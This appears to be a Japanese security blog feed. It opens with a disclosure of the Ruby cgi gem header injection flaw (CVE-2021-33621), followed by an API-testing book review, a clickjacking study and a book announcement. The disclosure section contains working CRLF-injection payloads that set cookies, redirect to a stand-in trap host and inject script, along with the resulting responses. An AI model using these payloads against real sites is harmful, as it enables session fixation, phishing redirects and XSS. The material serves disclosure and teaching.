Status: 302 Found
Location: http://example.jp/?num=3
Set-Cookie: SESSID=1234567890

すなわち、リダイレクトする「ついで」に任意のクッキーをセットすることができます。

クッキのセット以外に、任意URLへのリダイレクトもできます。

num=3%0d%0aLocation:+http://trap.example.com/

この結果のレスポンスヘッダは下記となりますが、

Status: 302 Found
Location: http://example.jp/?num=3
Location: http://trap.example.com/

Apacheの場合複数のLocationヘッダがあった場合、最後のLocationヘッダのみがブラウザに返されるので、結果として、trap.example.comにリダイレクトされます。これにより、偽ログイン画面に遷移してパスワードを盗むなどができます。

また、以下のようにHTTPレスポンスボディを出力することもできます。

num=3%0d%0a%0d%0a<script>alert(1)</script>

レスポンスは下記となります。空行の後にJavaScriptコードが出力されていることが分かります。

Status: 302 Found
Location: http://example.jp/?num=3

<script>alert(1)</script>

ただ、このままだとリダイレクトが優先されるのでレスポンスボディは表示されません。リダイレクトを避けるテクニックとして、ヘッダインジェクションによりStatus 500等を出力する方法があります。このテクニックははるぷさんに教えていただきました。

num=3%0d%0aStatus:+500%0d%0a%0d%0a<script>alert(2)</script>

このケースでの出力は下記となります。

Status: 302 Found
Location: http://example.jp/?num=3
Status: 500

<script>alert(1)</script>

Statusヘッダが2つありますが、前述のようにApacheは最後のStatusヘッダのみをブラウザに返すため、リダイレクトは無効となり、JavaScriptが実行されます。これはXSSと同等の脅威となります。

脆弱性発見の経緯

なぜ今どきRubyのcgi gemを調べたか、それにはちょっとした理由があります。 元々は、2020年1月にRuby on RailsのHTTPヘッダインジェクションに脆弱性を見つけて、HackerOneにて報告したところ、これはRailsの脆弱性ではなくて、ウェブサーバーのPumaの脆弱性だということになり、Puma側で修正された(CVE-2020-5247)ことがきっかけです。

この脆弱性について、適当な場で紹介したいと思っていたところ、2021年6月18日に銀座Rails#34@リンクアンドモチベーションがオンライン開催されることがわかりましたので、CfPに応募して採択されました。

この内容は私のYouTubeチャンネルにて公開しています。動画データを主催者様に提供いただきました。ありがとうございます。

この発表(動画)では、冒頭のHTTPヘッダインジェクション入門をPHP(の古いバージョン)にて行っていますが、元々はRubyのCGIで説明するアイデアがありました。そのサンプルプログラムを作成する過程でRubyのcgi gemに脆弱性があることに気づきました。ゼロデイの脆弱性を説明に使うわけにもいかず、本番ではPHPの旧版の脆弱性を用いた形になりました。

さて、cgi gemに脆弱性があることは疑いのないものでしたが、「RubyでCGIを書いているサイトはどれくらいあるのだろう」という疑いもあり、gem側で修正しなくても、注意喚起してアプリケーション側での改修でもよいのではないかと思いました。とはいえ、当方が勝手に「ゼロデイ脆弱性」を公開することもよくありません。

このためRubyコミッタ柴田さんに相談したところ、チームで検討するのでHackerOne経由で申告してほしい(日本語でOK)旨の連絡をいただきましたので、HackerOneに投稿した内容が冒頭で紹介したものです。こちらは脆弱性と認められ、改修されることになりました。 また、CGI::Cookieにもセキュリティ上好ましくない実装を見つけましたので、追加の報告として提出しました。

内容は、Cookieのname、path属性、domain属性設定時に外部由来の値を使うとインジェクションが可能というものでした。こちらも脆弱性と認められ、同時に修正されています。詳しくはHackerOneの報告を御覧ください。

影響を受けるアプリケーション

当脆弱性の影響を受けるアプリケーションは下記のとおりです。

  • cgi.headerメソッドに外部由来の値をセットしている場合
  • CGI::CookieによりCookieのname、path属性、domain属性設定時に外部由来の値を使っている場合

※ Cookieのpath属性およびdomain属性へのセミコロンを用いたインジェクションは、PHP-7.2以前にも存在していました(バグ#69948)。

影響

当脆弱性の影響は概要で示したとおりですが、まとめると以下のようになります。

  • 任意のレスポンスヘッダの追加・改変
    • (その結果)クッキーの追加、改変
    • (同上)任意URLのリダイレクト
  • レスポンスボディの追加・改変
    • (その結果)任意JavaScriptの実行(XSSと同等の脅威)
  • Cookieのname、path、domainを通じた属性等の改変

対策

cgi gemを最新版(0.3.5, 0.2.2, 0.1.0.2)にアップデートすることで対策されます。

Ruby本体のバージョンアップ

Rubyのバージョン 3.1.3 / 3.0.5 / 2.7.7 にて最新のcgi gemを含む形で対応されています。 現時点では、主要Linuxディストリビューションはアップデートを提供していないようです。

cgi gemのアップデート

前述のように、Linuxディストリビューション経由でのyumやaptによるアップデートでは本問題の対応はできませんが、gemコマンドによるアップデートは可能です。

$ sudo gem update cgi

ただし、Rubyのバージョンが2.7以降である必要があります(参考)。Ruby 2.7未満を使用している場合は、Ruby自体をバージョンアップする(推奨)か、以下のアプリケーション側の対策を実施してください。

アプリケーションでの対応

アプリケーション側で対策するには、以下を実施してください。

  • cgi.headerメソッドに渡すパラメータを検証して改行(\rや\n)が混入しないようにする
  • CGI::Cookieに渡すname属性やdomain属性を検証する

まとめ

Ruby cgi gemのHTTPヘッダインジェクション脆弱性CVE-2021-33621について、脆弱性の内容と経緯について説明しました。今時RubyでCGIプログラムを記述するケースもほとんどないとは思いますが、HTTPヘッダインジェクションという今となってはレアな脆弱性が発見され、きちんと修正されたことをご報告したいと思い本稿を書きました。

脆弱性そのものは拙著「安全なWebアプリケーションの作り方」に記載されている範囲のものですので、バグハンターを目指す皆さんは、「著名ソフトウェアだけどあまり使われていない機能」に着目すると、比較的容易に脆弱性が見つけられ、インターネットの安全にも貢献できるのではないでしょうか。

また、今回の脆弱性対応くださった柴田(@hsbt)さん、@mameさん、@nobuさんに感謝申し上げます。きちんと対応いただき、発見者としてうれしく思います。ありがとうございました。

[書評] ハッキングAPI ―Web APIを攻撃から守るためのテスト技法

$
0
0

サマリ

ハッキングAPI―Web APIを攻撃から守るためのテスト技法(2023年3月27日発売)を読んだ。本書は、Web APIに対するセキュリティテストの全体像と具体的なテスト方法を記載している。ペンテスターは、APIの検出、APIエンドポイントの分析、攻撃(テスト)を行う必要があり、そのために必要な情報がすべて記載されている。また、実習のためのツールと「やられサイト」を複数紹介し、具体的なトレーニング方法を解説している。単にツールやサイトの使い方の説明にとどまらず、本格的なペネトレーションテストの考え方を説明している。
本書の想定読者はAPIのペネトレーションテストを実施するペンテスター及びペンテスターを目指す人であるが、API開発者やウェブアプリケーション脆弱性診断員にとっても有益な内容を多く含む。

重要事項説明

  • 本書の監修者の一人(洲崎俊氏)と評者は知人関係にある
  • 評者が読んだ書籍はご恵贈いただいたものである
  • この記事のリンクにはアフィリエイトが含まれる

APIセキュリティテストとは何か

まずは、本書の主題である「APIセキュリティテスト」を本書でどのように定義しているかを紹介しよう。以下は、本書p3からの引用である。

APIセキュリティテストは、一般的なペネトレーションテストともWebアプリケーション診断とも異なります。APIが持つ攻撃対象領域(Attack Surface)の幅広さと複雑さのため、多くのペンテスターはAPIセキュリティテストを独自サービスとして位置づけています。

通常のWebアプリケーション脆弱性診断でもAPIのテストは当然含まれるが、APIはウェブアプリケーションからだけ利用されるものではなく、IoT機器などからも呼び出される。この場合、IoTシステムとしてセキュリティテストあるいはAPI単体でのセキュリティテストが行われる。本書で説明されるAPIセキュリティテストは、脆弱性診断というよりはペネトレーションテストである。

APIのペネトレーションテストを業務で経験できるエンジニアは限られていると思うが、例えばバグバウンティプログラムに参加して、公開APIをテストするような機会は、意欲と技量さえあれば誰にでも与えらるし、本書はバグバウンティプログラムに参加するパグハンター向けの注意や心構えについても度々言及している。

本書の構成

ここで、本書の構成について紹介しよう。本書は4つの部、16の章で構成される。ここからも分かるように、本書は非常に広範囲のトピックについて扱っている。

第1部 API セキュリティの原理

「第1部 API セキュリティの原理」では、後述の章立てからもわかるように。Web APIの基礎知識と、0章としてAPIテストのスコープ(範囲)、顧客からテスト許可を取得することの必要性などを説明している。2章 Web APIの解剖学では、RESTful APIに加えてGraphQLについても簡単な説明をしている。JSON/XML/YAML等のデータ形式、APIの認証方式(BASIC認証、APIキー、JWT、HMAC、OAuth2.0…)について説明する。REST APIおよびGraphQLを前提とすることから、Cookieによるセッション管理は本書では取り扱われておらず、そのためかCSRF脆弱性やCookieのSameSite属性に関する説明は割愛されている。

  • 0章 セキュリティテストへの準備
  • 1章 Webアプリケーションの仕組み
  • 2章 Web APIの解剖学
  • 3章 一般的なAPI脆弱性

3章の「一般的なAPI脆弱性」としては以下が紹介されている。概ねOWASP API Security Top 10 2019と重なっているが、3.1 情報漏えいと3.11 ビジネスロジックの欠陥は独自に追加したものである。

  • 3.1 情報漏えい
  • 3.2 オブジェクトレベルの認可不備 (BOLA)
  • 3.3 ユーザ認証の不備
  • 3.4 過剰なデータ露出
  • 3.5 リソース不足とレート制限
  • 3.6 機能レベルの認可不備 (BFLA)
  • 3.7 マスアサインメント
  • 3.8 セキュリティ設定ミス
  • 3.9 インジェクション
  • 3.10 不適切な資産管理
  • 3.11 ビジネスロジックの欠陥

第2部 APIテストラボの構築

  • 4章 API ハッキングラボの構築
  • 5章 脆弱なAPIラボ環境の準備

第2部はAPIテストのための実習環境として、診断ツールと脆弱なAPI環境を準備する。診断ツールとしては、Burp Suite、Postman、Wfuzzが大活躍することになるが、これら以外にOWASP Amass、KiterunnerなどAPIを発見するためのツールも紹介されており興味深い。脆弱なAPI環境としてはcrAPIなど数種を紹介している。また、訳注の形で拙作のBad Todoも紹介頂いていた(APIではなく古典的なWebアプリケーションとして)。

第3部 APIへの攻撃

第3部は、いよいよAPIの実際のテスト(攻撃)を説明する。第3部の章立ては以下の通りである。

  • 6章 APIの検出
  • 7章 エンドポイント分析
  • 8章 認証への攻撃
  • 9章 ファジング
  • 10章 認可への攻撃
  • 11章 マスアサインメント
  • 12章 インジェクション攻撃

まず6章と7章でAPIの検出と分析を行うが、この2章は十分な紙面を使って詳しく説明されている。このあたりが、よくある「ハッカー入門」的な書籍とは異なり、本書が実務的な内容になっていることの表れのように思える。
6章 APIの検出では、OSINT的な手法を活用してAPIを検出する。通常の脆弱性診断ではAPIエンドポイントの情報は開示されるので、このステップは省略されるが、本書でいう「ブラックボックス型テスト」では、APIの検出から始まるのでこのステップが必要になる。

7章のエンドポイント分析は、APIの正常系の仕様を把握するステップであり、ウェブアプリケーション脆弱性診断のサイト巡回(クローリング)に相当する。APIの仕様はドキュメント化されている場合も多いが、そうでない場合、アプリケーション経由のAPI通信をキャプチャすることになる。このステップは本書ではリバースエンジニアリングと表現されている。通信のキャプチャはBurp Suite等の診断プロキシを用いることもできるが、本書では主にPostmanを使用する。Postmanのプロキシ機能(評者は本書を読むまで知らなかった)を用いて、API仕様を明確にする。7章の後半は情報漏洩や過剰なデータ露出等、ファジングを伴わない脆弱性検査を行う。

8章から12章はさまざまな攻撃によるセキュリティテストである。8章の前半はパスワード認証に対する辞書攻撃やパスワードスプレイなど古典的な攻撃だが、Hydraのようなパスワード解析専用ツールではなく、Burp Suite IntruderやWfuzz等のファジング用のツールを使っている。パスワードスプレイの場合、ユーザIDのリストが必要になるが、6章で解説した偵察や7章の過剰なデータ露出脆弱性を利用できるとする。8章の後半は、トークンやJWTに対する攻撃で、ブルートフォースを含む攻撃手法を解説している。

9章で説明されるファジングとは異常なデータをAPIに送信して意図しない結果を引き起こすことである。ファジングにはワイドファジング(広く浅く)とディープファジング(狭く深く)があり、前者にはPostmanのCollection Runnerを用い、後者にはBurp Suite IntruderやWfuzzを用いている。評者はPostmanを使ってはいたが、もっぱらAPIの機能的なテストの目的であり、ファジングに用いる発想がなかったので勉強になった。

10章は認可への攻撃である。認可脆弱性に関しては特に目新しいものではないが、テストの観点とツールの効果的な使い方は興味深い。ここでも、Postmanを効果的に使用している。

11章はマスアサインメントに対する攻撃である。マスアサインメント脆弱性とは、主に更新系のAPIで、「変更できてはいけない項目を変更できる」問題であり、過去のGithubの事例が有名である。例えば、利用者が自身のメールアドレスやパスワードを変更できるのは問題ないが、テーブル上のadmin列をtrueに勝手に変更できたら大問題である。API呼び出しにadmin=trueを追加するだけで意図しないadmin列の更新ができる場合がマスアサインメント脆弱性である。Ruby on Rails 4以降ではStrong Parametersと言う機能によりマスアサインメントに対策している。マスアサインメントのテスト自体は簡単なのだが、問題は「変更できてはいけないパラメータ(先の例ではadmin)」をどう発見するかである。本章では、マスアサインメント可能なパラメータの探索についていくつかの方法を説明している。

12章はインジェクションということで、クロスサイトスクリプティング(XSS)やSQLインジェクションなどが含まれる。有名な脆弱性であるからか、この章の説明は簡潔なものである。12.4.1項で説明されるSQLインジェクション攻撃文字列は、あまり凝ったものではないし、本番環境で試すには危険なものが含まれていて評者はぎょっとした(p304)。だが、直後に訳者による適切なコラム「SQLインジェクションのテストを実施する際の注意と補足(pp305-306)」があり、評者は安心した。もっとも、コラム内の文字列「’||’」や「’+’」もMySQLの場合は危険なので、SQLインジェクション検査は厳重な注意が必要である(参考:とある診断員とSQLインジェクション)。

第4部 実世界におけるAPI攻撃

第4部は、「実世界におけるAPI攻撃」というテーマで、13章はバイパス技術の応用とレート制限テストとして、バリデーションやWAF、APIの利用制限を回避する技術といういかにもハッカー的なテーマ、14章は皆さん大好きGraphQLへの応用、15章では、APIの脆弱性が情報漏洩やバグバウンティでどのように発見されたかを紹介している。

  • 13章 バイパス技術の応用とレート制限テスト
  • 14章 GraphQLへの攻撃
  • 15章 データ侵害とバグバウンティ

本書のすごいところ

本書の眼目は、APIセキュリティテストの方法論に徹底しているところである。それは、APIを検出するところから始まる。種々の検出手法は、APIそのものを探すだけではなく、マスアサインメント可能なパラメータを探す場合にも応用できるもので、この種の解説は非常に貴重なものだ。
また、テストに使うツールの説明も詳しい。筆者は主にBurp SuiteやPostmanなどの汎用的なツールを使い、Burp SuiteのIntruderやPostmanのCollection Runnerによりファジングだけでなく、パスワードに対する辞書攻撃やマスアサインメントのパラメータ探索にも用いる。その他にも多くのツールが紹介されているが、評者には、汎用ツールの使いこなしこそ勉強すべきだと思えた。
さらには、テストに対する心構えや、方針の立て方など、現役のペンテスターならではの知見が学べるところも、本書ならではの価値といえる。

本書で扱ってない内容

本書で扱っていない項目についても紹介しよう。
まず、現在APIの主流であるRESTfulAPIはステートレスだからCookieによるセッション管理は行わないという主張から、Cookie関連の記載は一切ない。これに関連して、以下の項目もない。

  • Cookieに関する説明(例えばSameSite属性を含め、Cookieの言及がない)
  • セッション管理(トークン類の保存場所はlocalStorageかCookieか等)
  • APIのCSRF(Content-Type、CORSとの関連を含むが、そもそもCSRFの言及がない)

また、Web APIの基礎としてJSONなどの説明はあるが、同一オリジンポリシーやCORSの説明はない。
XSSの話題は少し出ているが、Content-Typeの話題はない。例えば、以下のケースは、レスポンスボディの見かけ上はXSSだが、Content-Type: application/jsonなのでJavaScriptは実行されない。この種の話題は、他の本(例えば拙著)で学ぶ必要がある。

HTTP 200 OK
Content-Type: application/json
Content-Length: 43

{"message": "<img src=x onerror=alert(1)>"}

その他、触れられてないテーマの例として下記がある。

  • JSONP(RESTfulAPIだから関係ない)
  • CSP(API側だから無関係というのは分かる)
  • X-Content-Type-OptionsやHSTSなどのレスポンスヘッダ(侵入とは直接関係がないからか?)
  • 脆弱性の対策方法

注意点

筆者は根っからのペンテスター気質という感じで、例えば、以下のような記載がある(p301)。

プロバイダのAPIがコンテンツを追加したり、そのWebアプリケーションに変更を加える場合、脆弱性が存在しないか探すべきかもしれません。

これに対しては、下記の訳注がついている。

一般に、許可なくサードパーティAPIをテストすることは許されていないケースが多いため、注意が必要です。

また、以下のような記載もある(p115)。

筆者は、Webアプリケーションの存在を発見すると、すぐにNiktoでスキャンを行います。

おそらく文脈的には「セキュリティテストの過程でWebアプリケーションを発見すると…」ということであろうが、Niktoも脆弱性診断ツールの一つではあるので、許可なくNiktoスキャンを行うことは問題がある。

本書の眼目は訳者の知見にある

本書は、本格的なAPIセキュリティテストの書籍の和訳というだけで価値が高いものであるが、次の点において、価値が倍加していると考える。

  • 原書の出版後に利用サイトやツールのバージョンアップ、サイトの閉鎖等に伴う利用法の変更や代替手段の説明があること
  • 豊富な訳注と訳者コラムにより、原書の説明不足や、日本の読者になじみのない一般知識(例えばAcmeの意味)が補足されていること
  • 訳注での参考情報の記載がとても豊富であり、追加の勉強のために役立つこと

したがって、読者が英語に堪能であったとしても、それでもこの和訳を選択する価値は十分にある。また、参考リンクが豊富であることから、買うなら電子版(PDF)が圧倒的にお勧めである。評者はレビューを紙版で行ったが、電子版も購入した。
翻訳はこなれていて、問題となるような箇所はなかった。

本書の使い方

本書のお勧めの活用法は以下のようなものであろう。

  • 4章「APIハッキングラボの構築」と5章「脆弱なAPIラボ環境の準備」に従い実習環境を準備する
  • 各章を読む
  • 章末に示された実習を行う
  • 本書を読むだけでは分からない箇所を訳注の参考文献に従って勉強する

かなり時間がかかるはずだが、それだけの価値は必ずある。

まとめ

  • 本書はAPIセキュリティテストに関する実践的なガイドである
  • ツールの紹介が多いが、読者はツールを能動的に活用する必要があり、そのための情報が本書にはある
  • 訳注および訳者コラムは価値が非常に高く、それだけで訳書を選択する理由になる
  • 買うなら絶対に電子版(PDF)をお勧めする

2023年4月においてクリックジャッキング未対策のサイトはどの条件で被害を受けるか

$
0
0

サマリ

CookieやlocalStorage等でセッション管理しているウェブサイトがクリックジャッキング対策していない場合、どの条件で被害を受けるかを説明する。SameSite属性のないCookieでセッション管理しているウェブサイトは、主要ブラウザのデフォルト設定ではクリックジャッキングの影響を受けない。一方、loaclStorageにトークン類を格納するウェブサイトでは、Google Chrome等のブラウザでクリックジャッキングの影響がある。また、ブラウザの設定を変更した場合の影響についても説明する。

クリックジャッキングとは

クリックジャッキングとは、一言で説明すると「ウェブサイト利用者に意図しないクリック(タップ)をさせる」攻撃です。ウェブサイト上で意図しないクリックを勝手にさせられると、重大な結果になる場合があります。例えば、このURLを閲覧すると、以下のようにTwitterにて「犯行予告を投稿する」画面になり、「ツイートする」を押すと、押した人のアカウントで犯行予告をツイートする結果になります。Twitterのこの機能はウェブインテントと呼ばれます。

このような拙い「攻撃」だと、被害者は画面内容を見た結果ツイートボタンは押さないわけですが、これにiframeを用いた仕掛けを組み合わせて「知らない間にボタンを押させる攻撃」がクリックジャッキングです。具体的には、iframeを用いて、下図のようにボタンを押させるための罠と、Twitter等の掲示板の画面を重ねます。

この際、掲示板を手前に配置してCSS設定により透明にします。一方罠サイトは奥側に配置します。すると、見た目上は罠サイトだけが見えますが、ボタンをクリックすると手前側の掲示板のボタンを押したことになり、ログイン中の利用者のアカウントで意図しない投稿がされます。これがクリックジャッキングです。現実のTwitterはクリックジャッキング対策がされているので、この攻撃は成立しません。

この例では「意図しない投稿」でしたが、これ以外に、設定変更や退会など「クリックだけでできる操作」全てで影響がありえます。

クリックジャッキング対策には、以下のようなレスポンスヘッダを出力することで行われます。

Content-Security-Policy: frame-ancestors 'none';

上図はCSPを用いた対策ですが、伝統的なX-Frame-Optionsヘッダを用いた対策も有効です。

しかしながら、上記対策をしていない場合でも、モダンブラウザでは、iframe内のコンテンツからCookieおよびlocalStorageへのアクセスが制御されていて、クリックジャッキング攻撃ができないケースが多くなっています。
本稿では、モダンなブラウザの利用者がクリックジャッキング被害を受ける条件について説明します。

検証方法

今回は、クリックジャッキングの影響の有無を、iframe内のウェブページがCookieやlocalStorageの値を受け取れるかどうかで判断することにしました。もしもiframe内のページがCookieやlocalStorageにアクセスできない場合、ページはログイン状態にはならず、被害者のアカウントでの投稿や設定変更などはできないからです。
下図は検証環境の模式図です。サイトAがクリックジャッキング脆弱なサイト、サイトBは罠サイトです。

サイトAのログインを模して、CookieやlocalStorage、sessionStorageをセットします(図の左側)。この後サイトBに遷移しますが、サイトB内にiframeがあり、その中にサイトAのページがあります(図の右側)。このiframe内のサイトAのページでCookie、localStorage、sessionStorageの値を表示して、これらの値を受け取れているかを確認します。

CookieのSameSite属性は以下の3種類のものを用意しました。SameSite属性の意味についてはこちらの記事を参照ください。

  • SameSite属性なし
  • SameSite=None
  • SameSite=Lax

SameSite属性なしは伝統的なセッション管理を想定しています。SameSite=Laxの場合、iframe内のコンテンツにCookieは送信されないはずですが、比較のためテスト条件に加えました。

検証結果

検証結果を下表に示します。

結果の要約は下記の通りです。

  • SameSite属性のないCookieでセッション管理しているサイトは全てのブラウザにてクリックジャッキングの被害を受けない
  • localStorageでセッション管理しているサイトは、Google Chrome、Edge、Opera(デスクトップ、Android)のユーザが被害を受ける
  • Brave、Firefox、Safariの利用者はいずれのケースでもクリックジャッキングの被害を受けない

このように、ブラウザのセキュリティ機能の差により、クリックジャッキング被害の条件が変わっています。


各ブラウザのセキュリティ機能

次に、各ブラウザのセキュリティ機能がどのようにクリックジャッキングを防いでいるかを説明します。

Chromium系ブラウザの防御はデフォルトSameSite=Lax

CookieのSameSite属性にてLaxあるいはStrictを指定した場合、iframe内に置かれたページに対してはCookieは送信されません。これはすべてのブラウザに共通の仕様ですが、Chromium系のブラウザ(Google Chrome、Edge、Brave、Opera…)では、SameSite属性のないCookieはSameSite=Laxとして扱われます(参考)。
このため、SameSite=Noneを明示的に設定していないCookieは、iframe内のページには送信されないことになります。SameSite属性は、もともとはCSRF対策を意図した機能と思われますが、クリックジャッキング対策にも効果があります。
デフォルトSameSite=Laxの効果はCookieのみであるため、sessionStorageとlocalStorageには効果が及びません。

※注
SameSite属性のないCookieは、Cookieが生成されてから2分以内であれば、クロスサイトのPOSTリクエストに付与されます(参考)が、iframeの場合はこの2分間の猶予期間はなく、ただちにSameSite=Laxとして扱われます。

Firefoxは2022年1月11日にデフォルトSameSite=Laxを導入しましたが、非互換を理由に直後にキャンセルされました(参考)。現在でも、SameSiteのデフォルトは、SameSite=None相当です。
一方、Firefoxは2022年6月14日に包括的 Cookie 保護(Total Cookie Protection:TCP)と呼ばれる機能を投入しました。TCPはセキュリティ目的というよりはプライバシー保護を目的としたものですが、クリックジャッキング防御にも効果があります。

下図は包括的Cookie保護(TCP)のイメージ図です(引用元)。

従来は一つのCookieの入れ物(cookie jar)をすべてのサイトで共有していました(上図左)が、TCPが有効になるとサイト毎にcookie jarが独立するようになります(上図右)。これだけだと抽象的でわかりにくいので、サイトAがサイトB、サイトCのiframeにて表示されている様子を用いて説明します(下図)。

上図のように、サイトAのCookieは、単独で表示されている場合(左)、サイトBのiframe内で表示されている場合(中央)、サイトCのiframeで表示されている場合(右)で、それぞれ別の値となります。この機能はサードパーティCookieによるトラッキングを防ぐ目的で導入されたものですが、セッション管理のCookieもiframe内では分離・保護されるため、結果としてクリックジャッキングに対する防御として作用します。また、Cookieだけでなく、sessionStorageやlocalStorageもサイト毎に分離されます。

なお、実験による検証の結果、Braveブラウザにも包括的Cookie保護と同様の機能が実装されているようです(sessionStorageの挙動はFirefoxともSafariとも異なりますが、詳細は省略します)。BraveはChromiumベースのブラウザなので、デフォルトSameSite=Laxも実装されています。

Safariの防御機能はITP(Intelligent Tracking Prevention)

Safari(WebKit)にはITP(Intelligent Tracking Prevention)というトラッキング防止機能があります。これにより、結果としてクリックジャッキングも防御されています。
下図は、ITPによりiframe内のページのCookieがどうなるかを模式的に示しています。

サイトAでセットされたCookieは、サイトBにiframeで埋め込まれてもCookieは送信されず、またレスポンスのSet-Cookieも無視されます。すなわち、iframe内ではCookieの送信も受信もされないということになります。

一方、sessionStorageとlocalStorageについては、FirefoxのTCPのような挙動になります。すなわち、サイト毎に分離された形になります。この挙動はWebKitのドキュメントに記載されています。

Partitioned Third-Party Storage
Third-party LocalStorage and IndexedDB are partitioned per first-party website and also made ephemeral.
試訳: サードパーティのlocalStorageとindexedDBはファーストパーティのウェブサイト毎に分離され、またエフェメラル(一時的)なものになります。

すなわち、localStorage等については、iframe等に埋め込まれていた場合、ファーストパーティのウェブサイト毎に別の名前空間になります。
しかし、実験の結果はsessionStorageも上記の分離がなされていました。Safari 16.0まではsessionStorageは分離されておらず、Safari 16.1以降においてsessionStorageもlocalStorage同様のサイト毎の分離がされているようです。私はこの件についてのドキュメントを発見できていませんので、ドキュメントをご存知の方はぜひ教えてください。また、エフェメラルいうのは、ブラウザを終了すると削除されるという意味です。通常localStorageはブラウザを終了しても保持されますが、iframe等のサードパーティで保存されたlocalStorageはブラウザの終了と共に削除されます。一方、FirefoxのlocalStorageはサイト毎に分離されていますが、ブラウザを終了しても、localStorageの値は保持されます。


防御機能を無効化するとどうなるか

ここまで、ブラウザの提供する保護機能により、クリックジャッキング攻撃から防御される仕組みをご紹介しました。しかし、これらの機能は利用者が無効にすることができます。以下、利用者が保護機能を無効にした場合の影響を調べるため、まずはブラウザ毎にセキュリティ機能を無効化する方法を説明します。以下は、セキュリティを低下させる設定なので、検証以外では使用しないことをお勧めします。また試用した後は忘れずに戻しておいてください。

Google Chrome、Edgeの場合

Google Chrome等のChromium系ブラウザにて、デフォルトSameSite=Laxを無効化するには、Windowsの場合レジストリのLegacySameSiteCookieBehaviorEnabledForDomainListにて、無効化するドメインのリストを指定します。参考記事によると、この設定は暫定的なもので将来変更される見込みです。設定例を下図に示します。この設定では、すべてのドメインにてデフォルトSameSite=Laxを無効化しています。危険な設定なので、検証用途以外には使わないでください。


同じ方法でEdgeでも設定可能です。

Firefoxの場合

FirefoxのTCPを無効化するためには、設定|プライバシーとセキュリティから、強化型トラッキング防止機能から、カスタムを選択して、Cookieのチェックを外すか、その右のセレクトボックスで「クロスサイトトラッキングCookie(一番上)」を選択します。


Safari

SafariのITPを無効化するには、Safariの設定からプライバシーを選び、「サイト超えトラッキングを防ぐ」のチェックを外します。


結果

上記の設定変更をした結果を下表に示します。赤字で(*)付きで示した項は設定変更により条件が変わっていることを示します。


考察

前述の設定変更により、以下の状態となりました。

  • ブラウザ側の変更により、ほぼ全ての条件でクリックジャッキングの影響を受けるようになる
  • FirefoxのTCP、およびSafariのITPはプライバシー強化のための機能だが、セキュリティの効果もある
  • SameSite=Lax設定はクリックジャッキング対策としても効果が高い

各ブラウザの設定変更の中で、もっとも現実にありそうなものがSafariのITPの無効化です。「サイト超えトラッキングを防ぐ」でGoogle検索するとトップに表示されるのが、以下のYahoo! JAPANの記事です。

iOS 11以降では、「サイト越えトラッキングを防ぐ」がオン(有効)になっている場合があります。
「サイト越えトラッキングを防ぐ」がオンになっている場合、Cookie(クッキー)がSafari上に残らなくなります。
Yahoo! JAPANでは、複数のサービスでCookieを使用しているため、「サイト越えトラッキングを防ぐ」をオンにしていると、サービス内の機能が限定されるなど、一部のサービスを利用できません。
以下の手順を参考に、「サイト越えトラッキングを防ぐ」機能をオフにしてからYahoo! JAPANのサービスをご利用ください。
iPhone向けSafariで「サイト越えトラッキングを防ぐ」機能をオフにするより引用

しかし、当該の設定変更を行うと、Yahoo!以外のサイトでもセキュリティを弱くする結果になります。このページには以下のような記載もありますが、

注意
「サイト越えトラッキングを防ぐ」機能の設定変更は、お客様ご自身の責任において変更してください。

「お客様ご自身の責任において変更」と書いてありますが、変更による影響は何も説明されていないため、この書き方はいかがなものかという感想を持ちました。


まとめ

  • SameSite属性のないCookieによるセッション管理という伝統的なサイトはモダンなブラウザのデフォルト設定ではクリックジャッキング攻撃の影響はない
  • localStorageにトークン類を保存する実装の場合、Chromium系のブラウザ(Chrome、Edge、Opera)ではクリックジャッキング攻撃の影響がある
  • ブラウザのトラッキング機能を解除するとクリックジャッキング攻撃の影響を受けやすくなる
  • アプリケーション提供者は、ブラウザの設定によらずクリックジャッキングを防御するために、CSPやX-Frame-Optionsによりクリックジャッキング対策を実施すること
  • サイト運営者は、ブラウザの設定変更を促さないこと
  • サイト利用者は、ブラウザの設定を安易に変更しないこと

「はじめて学ぶ最新サイバーセキュリティ講義」の監訳を担当しました

$
0
0

 日経BPから4月4日発売予定の『はじめて学ぶ最新サイバーセキュリティ講義 「都市伝説」と「誤解」を乗り越え、正しい知識と対策を身につける』の監訳を担当したので紹介させていただきます。

本書の原書は、ユージーン・H・スパフォード、レイ・メトカーフ、ジョサイヤ・ダイクストラの3名の共著として書かれた「Cybersecurity Myths and Misconceptions」で、米国Amazonのレビューでは4.6の高評価を得ています。また、「インターネットの父」ことヴィントン・サーフ氏が本書に前書きを寄せています(後述)。


はじめに

サイバーセキュリティは、その短い歴史にも関わらず、神話や都市伝説に満ちています。古典的なものとして、本書の冒頭では、「ウイルス対策企業が自社製品を売るためにマルウェアを作って拡散した」が紹介されています。

本書は、このようなセキュリティの都市伝説や神話をとりあげ、これらの「ウソを暴き」ながら、セキュリティの真髄を説明していくスタイルをとっています。

本書によると、「この本は、一般的な問題、人間の問題、文脈的な問題、データの問題という4つのパートに分かれ、175件以上の都市伝説、偏見、誤解を収めています。」とあります。175件! すごいですね。

割合とっつきやすい都市伝説から紹介しましょう。それは「パスワードはひんぱんに変更せよ」です。

かつて、セキュリティのベストプラクティスとして「パスワードを定期的に変更を強制する」がありましたが、さまざまな議論を経た後に、2017年6月アメリカ国立標準技術研究所(NIST)がNIST SP 800-63-3を発表し、その中でパスワードの定期的変更の強制を否定したことで、一応の「都市伝説の終結」をみました。

とはいえ、パスワードの定期的変更は永く信じられてきた「ペストプラクティス」なので、各種ガイドライン等には今でも残っていますし、セキュリティに携わるものでも、「パスワードは定期的に変更するべきもの」と思っている人は多いと思います。本書は、この種の神話や都市伝説を多数取り上げ、次々に否定していきます。


意外なところにも「神話」が

神話の中には、読者には意外なものも含まれます。たとえば、「ユーザーが最弱リンク」がそれです。

サイバースペースでは、サイバーセキュリティの最弱リンクはユーザーであるとの言説が不当に支持されていますが、それは誤りです。

意外に思いませんか? なぜこれが不当なのかはぜひ本書で確かめてください。ヒントとして、本書から下記を引用しておきます。

人々を力づけたいという思いやりにより、ユーザーは高いセキュリティ意識を持つパートナーになります。そのように意識を改めることで、強い信頼関係が生まれます。ミスを報告しやすくして、修正の手助けをする。それこそが、ユーザーを見下しミスを責めるよりもずっと望ましい態度と言えます。

もう一つは、「攻めるほうが守るよりも楽」です。よく攻撃側に比べて防御側は不利と言われます。本書でも、この節は以下の書き出しから始まっています。

